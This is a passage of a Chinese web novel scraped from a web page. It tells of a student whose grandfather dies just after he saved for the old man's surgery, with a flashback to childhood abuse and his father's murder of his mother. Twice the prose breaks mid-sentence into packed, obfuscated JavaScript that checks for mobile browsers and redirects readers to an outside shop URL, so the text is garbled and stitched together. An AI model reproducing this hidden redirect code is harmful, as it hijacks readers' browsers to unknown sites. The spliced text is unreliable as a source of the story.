RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127669|134775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公说他的身体自己有数,不用花费那么多钱,反正人都老了,也是白花钱,不如留着当大学生活费,让他吃些好的,穿些好的,买点新衣服。 褚闻转过身,抬起眼睫,认真地说:“外公,廖医生说了,做完手术你的身体就会好起来。” “以后我会赚很多很多钱,我们一起过好日子。” “我这几年攒的钱,加上学校和政府的奖金,手术费完全够,甚至还有多余的,到时候我们一起去绥安旅游。” 闻言,林山眼眶红了红,尽显磨痕和裂口的手拍了拍褚闻,自豪道:“小闻真棒,以后一定会赚很多很多钱,外公看好你。” 褚闻弯起唇角,声音温和些许:“所以一定要去做手术,你会长命百岁,健健康康的。” 林山欣慰地点点头:“好,做手术,听小闻的。” 检查完身体,廖医生也为他们高兴:“这个月还是要按时吃药,下个月就可以做手术了。” 这一天的天气十分晴朗,街道吹过的风清爽不躁,小推车的喇叭喊着熟悉的话语。 少年眉间带着一丝温浅的笑,芝兰玉树般立在医院门口,有些满足和期待。 翌日。 褚闻坐上客车前往明槐中学,舒景澄在洋槐树旁边的奶茶店,看见他后连忙端着奶茶跑过来,穿着暖黄色T恤,朝气蓬勃地说了句废话:“褚哥,真巧,你也来填志愿!” 一向不爱搭理人的少年此刻缓缓点头,看起来心情不错:“是的。” “哟,这是谁的名字啊?怎么在横幅上写着?”舒景澄一脸坏笑,朝旁边保安大叔问道。 保安走出来,把横幅上的字大声念了一遍—— “热烈祝贺我校褚闻同学高考取到678.5分的好成绩!” “明槐以你为傲,愿少年自强不息怀壮志,厚德载物携梦行!” 保安一边读,舒景澄一边笑,默默给褚闻比了一个大拇指。 “李叔,其实我身边的这个人就是……”舒景澄后面的话还没说完,猛地被褚闻扯进学校,对方看来一眼,眸色淡淡充满威慑。 舒景澄只好收敛嘴角,跟保安大叔挥了挥手,乐呵道:“没事没事,我也祝贺褚闻同学。” 进入楼道,舒景澄笑着拍了拍男生的胳膊:“你也有觉得尴尬的时候哈哈哈哈哈哈!” 男生没说话,身高腿长步子大。 舒景澄继续问:“话说你打算报什么专业?” “计算机。” “你呢?” “我也计算机,听说这个专业以后工资高,就是有点消耗头发。” 刚走到五楼,迎面撞见班主任吴老师在走廊和校长以及副校长说话。 吴老师瞥见褚闻,连忙招手让他们过来。 两个校长在旁边一直夸呀夸呀,高兴得皱纹都笑出来了。 最后吴老师举起手机,给他们四人拍一张合影照,舒景澄和褚闻站在中间,少年身形挺拔修长,五官利落干净,充满少年气息,校长和副校长站两旁,满怀笑意。 原来是特意来和他们合影的。 49. 身世 填完志愿,褚闻走上客车,来到后座靠窗的位置。 从县城回明水的一路很安静,有种特别的、莫名的、让人手中抓空的安静,好像隐隐约约发生着什么他所不知道的事,正在前方等着他,几分忐忑不由得浮上心尖,蔓延至全身。 褚闻拉开窗帘,炙热刺眼的阳光将玻璃窗烤得滚烫,车窗外的风景飞速闪过,犹如多年前和外公来的那天,有些不可捉摸。 少年浅浅收回视线,右眼皮忽然跳了一下。 外婆说左眼跳福,右眼跳灾。 他往前方掠过一眼,纤长的睫毛往下垂,感觉心里空落落的,不太踏实。 客车进入一片漆黑的隧道,阴冷,幽寂,长得仿佛没有尽头,耳边风声更加嚣张密集,望着深不见底的黑暗处,褚闻罕见地想起了他的童年。 那是一段,他不太想和任何人提起的过往。 仅是想一想,也会觉得不好受,虽然他并不是一个脆弱的人。 可即便过了这么多年,那段绝望、无助,被全世界抛弃的时期依然时不时在脑海中浮现、挣扎、痛苦。好像就算消失也不会有任何人在意。 每次梦到从前,醒来后总有种荒诞感,似乎眼前虚妄,不太真切,陌生,极不安全,甚至不属于他,像是隔着一层透明屏障只能抬头看着这个世界,却无法触碰。 七岁那年,他小学二年级,周围的同学全是活泼好动、天真烂漫的,他不一样,他独来独往,孤僻冷漠没有朋友,与人对视眼中也总是一片死寂,冰冷晦暗,仿佛对周围任何人任何事漠不关心。 身体上的伤痛避免不了,只能隐藏埋掉心中的脆弱,每次站在阳光下,他总觉得自己像一条下水道里的臭老鼠,浑身散发着令人厌恶的气息。 城中村的家只是一个空壳子,既挡不住破口大风也提供不了安全环境,墙壁脏乱处处污渍,客厅狼藉芜杂堆满破烂,世界在他面前变成随处可见的垃圾,烂掉的窗户散发着腐朽的气息,探出头看不见外面白色的光,只剩下对面近在咫尺、蜘蛛网遍地的昏暗楼道。 吵架、辱骂、动手、摔门摔东西……是那里发生的极为寻常的事,寻常到每天都能听见数不清的谩骂诋毁。 懦弱的父亲,强势的母亲,铁门外掩在无数小广告下依稀能看清的“拆”字红漆,迟暮昏黄,打在脚边的日光苍凉,小男孩背着书包站在门外,单薄长袖下是一道又一道新添的伤疤,一年又一年,仿佛永远也好不了。 那一夜的争吵透过沉重铁门不断传来,有些刺耳烦闷,女人一气之下拿起菜刀砍了男人的三根手指,一向懦弱的男人难得扇了女人几巴掌,却并不能改变自己沦为残废的事实。 男人因此丢掉工作,整日在家酗酒、无所事事,性格变得古怪疯癫起来,醉了就摔东西,本就家徒四壁如今更是雪上加霜。 强势的女人被磨了性子,身上肩负着家庭的开销,一天二十个小时连轴转,顶着疲惫的双眼骂骂咧咧,全身透着尖酸刻薄,连打男孩的时间都少了,不过男人照样打,亲生又何妨,既然是老子的种,就该受着。 男人越加凶狠,几天之下,男孩旧伤添新伤,血迹渗透薄布料。 转变发生在周五那天,男孩背着书包低头回家,视线被客厅地板上蜿蜒的恐怖血迹吸引——— 男人杀了女人,许是误杀,又或者蓄谋已久,只是被提前放学的男孩发现了。 他提起男孩的后领,往墙使劲一摔。 家里遍地邋遢,男人散发着恶心的啤酒味,双眼浑浊冒着红血丝,看不出清醒与理智。 男孩哆嗦着身子,视线落到他少了三根手指的左手上,那是他出轨后被女人发现给砍断的,如今他杀了女人,下一个会是他。 第二天,男人终于想好怎么解决男孩,将他从天台丢下,再跟邻居说他妈因为伤心欲绝去世。 男人早已不再懦弱,提着男孩直直往天台走,即便男孩如何反抗依然无法挣脱束缚,脖子被死死攥紧,几近喘不过气。 一向凌乱肮脏且鲜少有人出现的天台此刻站着一对像是来看房子的夫妇。 男孩不断挣扎着,嘶声力竭地呼喊着,男人终于因对面夫妇的疑惑而松开男孩的脖子,改为抓紧他的手腕,狰狞的五官假装平和地说着:“没事,小孩儿不懂事。” 不幸的事情再次发生,那对夫妇并没有对这句话产生怀疑,或许更大的原因是不想接触和搭理,于是选择往楼下走。 路过两人身边的时候,男孩看见女人肚子有一个很大的弧度,她的丈夫正贴心地搀扶着她,背影远去。 那对夫妇走后,男孩被狠狠摔到地面,手心摩擦出血珠混着翻涌沙砾,往后退一步就是天台边缘,没有任何防护措施。 男人一步一步逼近,像是地狱里的魔鬼,唇角抿起一个淡淡的弧度,似在恐吓,又似在嘲笑,五官是冰冷的,狰狞的,险恶的,面目全非又极为丑陋的,看不出原来的模样。 醉酒的人第二天脑袋总是昏沉的,即将抓住男孩胳膊准备扔下天台时,男人忽然踉跄了一步,男孩趁那短暂的间隙,下意识从他手下艰险逃过,而后猛然朝门口疯跑,小腿血迹蜿蜒。 “哒哒哒——”附近传来令人惊恐的脚步声,一声比一声焦急迫切。 男孩躲在垃圾桶边,死死捂着嘴,眼睁睁地看着男人离他越来越近,如同等待凌迟,一刀接着一刀,近乎绝望。 遮天蔽日的乌云慢慢褪去,风卷残云,天光倾泻,幸运之神终于不再偏心其他人,给了男孩一个喘息逃命的机会。 男人并没有发现男孩,而是朝另一个方向快速追去。 小男孩膝盖和手肘处流着鲜红的血,衣服破烂短小,手臂擦伤血珠滚滚,脸颊深刻巴掌印,脆弱的脖间恐怖的勒痕……在天光乍现,渐渐破晓之际,男孩以一瘸一拐的姿势,穿过无数旁若无人的冷漠观客,独自挣扎着走向警察局。 不愿回忆从前,偏偏回忆又频繁浮上脑海,褚闻关掉窗帘,唇线绷直。 走下客车,来到电线杆处,沥青路上车辆飞驰,褚闻望着对面关着的卷帘门,心想姜爷爷和姜奶奶可能外出去了。 忽然想起上次五一假期,他和姜逢晚从县城回来那天,不巧在楼道间碰到姜奶奶,对方眼神一直落在他身上,似乎想说什么又确实没开口,最后只是跟姜逢晚打了一个招呼便往楼下走。 关于之前暑假姜逢晚给他补课这事,姜奶奶和姜爷爷都知道,当时褚闻只是以为姜奶奶察觉到他和姜逢晚走近了,心生怀疑。直到后来姜奶奶用一种奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151884|134775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪而好奇的眼神看了他很多次,褚闻这才明白,原来姜奶奶已经知晓了,或者是他,或者是缝缝。 少年有些不太好意思,每月下来送菜时,经常手足无措偏偏假装镇定。 褚闻穿过小巷来到后门,木门大敞着,褚闻掀开眼帘转身合拢木门,径直往楼上走去,一如既往地踩亮楼道灯,脚步轻快来到三楼,走到转角处闻见了一些气味,他漫不经心地掀开眸子,随意往前瞥去。 下一秒,少年眼睫微颤,脚步猛然一停,莫大的恐慌席卷全身,分不出一点思绪。 “外公——” 目之所及之处,是触目惊心的场面,林爷爷从楼梯摔下,头部触地,鲜红的血顺着台阶不断往下涌出,汇聚成一大滩。 世界在少年面前一寸一寸苍白,他连忙跑过去扶起地上的老人,手指止不住地颤抖,眼眶泛红,拿出老年机,声音沙哑:“喂,医院吗……” 少年不敢用手探查老人的鼻息,只是背着他,哪怕血迹打湿上衣蔓延全身。 他身形一贯单薄颀长,此刻仿佛被压弯了脊背,眼眶逐渐湿润。 “外公,小闻在。” “我们下个月还要去做手术。” “你醒一醒。” “我在呢,要和我说说话。” “不要睡。” …… 遗憾的事情是,少年背着的老人,已然没了生息。 明水镇医院,耳边隔起屏障听不见任何说话声,少年垂着头,头顶风扇呼啦转,他形单影只地靠着走廊白墙,沉默着一直没有开口,麻木地看着地面,视线没有焦距。 ** “我们排查监控,看到了你父亲褚远东的身影。” “距离你外公死亡的时间前后不超过五分钟。” 穿着警服的男人拍了拍一直沉默不语的少年,安慰道:“请节哀。” “褚远东之前有前科,我们会派人重点追踪他的身影……” 少年低声应好,前往医院办理死亡证明。 周围很安静,不同寻常的安静,身后树叶萧萧,天边白云苍狗,面前的一切事物逐渐不真实。 少年低着头,拿出老年机,抬头眼眶猩红。 他开口,声音微颤,从未有过的狼狈神情。 “姜逢晚……你现在还好吗?” “考试结束了,很好。” “我能不能来找你?” “好。” “没事,就是有点想见你。” 他说话声很轻很慢,仿佛下一秒就要消失。 - 褚闻带着外公回到水乡,他们之前的家在山上,半山腰的位置,风景秀丽。天空是最纯净的蔚蓝色,群山重重叠叠,林木郁郁葱葱,蛐蛐、蝉、鸟雀不时鸣叫,门前竹叶萧萧风声簌簌,云朵卷成大片大片的梦幻,安静地待着那儿。 日薄西山,山间清风袭过,少年跪在坟墓前,眸色湿润。 “外公,我存够了钱。” “我们还没去做手术。” “对不起,我应该早点回来的。” 一阵沙沙的风在树林吹过,少年双膝跪地,背影清瘦孤独,眸中一片死寂。 他在这个世界上,唯一的亲人,彻底离开他了。